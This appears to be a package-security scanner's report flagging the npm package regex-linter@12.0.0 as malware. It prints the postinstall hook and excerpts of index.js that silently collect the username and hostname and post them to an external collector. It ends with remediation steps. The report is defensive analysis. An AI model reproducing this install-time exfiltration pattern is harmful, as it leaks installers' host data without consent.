regex-linter@12.0.0
Core API client library
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe manifest activates index.js through postinstall, and the source confirms automatic collection and transmission of host identity data to an unrelated external collector. This supports blocking the package for install-time data exfiltration.
Static reason
One or more suspicious static signals were detected.
Trigger
The package postinstall hook runs.
Impact
Host identity data is disclosed to the collector without installer consent.
Mechanism
index.js gathers the username and hostname and sends them in an HTTPS POST request.
Attack narrative
During installation, the postinstall hook runs index.js. The script collects the local username and hostname and sends them to nathanaccacio.com/collect, with no consent gate. This is automatic disclosure of host identity data to an external collector.
AI rationale
The manifest activates index.js through postinstall, and the source confirms automatic collection and transmission of host identity data to an unrelated external collector. This supports blocking the package for install-time data exfiltration.
Evidence
package.jsonindex.js
Network endpoints1
nathanaccacio.com/collect
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs index.js automatically during installation.
- index.js collects the username and hostname, then posts that data to an external collector without a consent check.
Evidence against
Behavioral surface
Network
NoLicense
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"postinstall": "node index.js"
}
}
High
Suspicious Lifecycle Evidence
The postinstall hook runs index.js automatically during installation.
package.jsonView on unpkg · L5index.jsView file
1const https = require('https');
L2: const os = require('os');
...
L4: p: 'regex-linter',
L5: u: os.userInfo().username,
L6: h: os.hostname()
L7: });
...
L15: req.on('error', () => {});
L16: req.write(data);
L17: req.end();
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
index.jsView on unpkg · L1Findings
5 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationindex.js
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowNo License
Affected versions and remediation
This report applies to regex-linter@12.0.0.
See all versions of regex-linter for other recorded verdicts.
- Avoid installing regex-linter@12.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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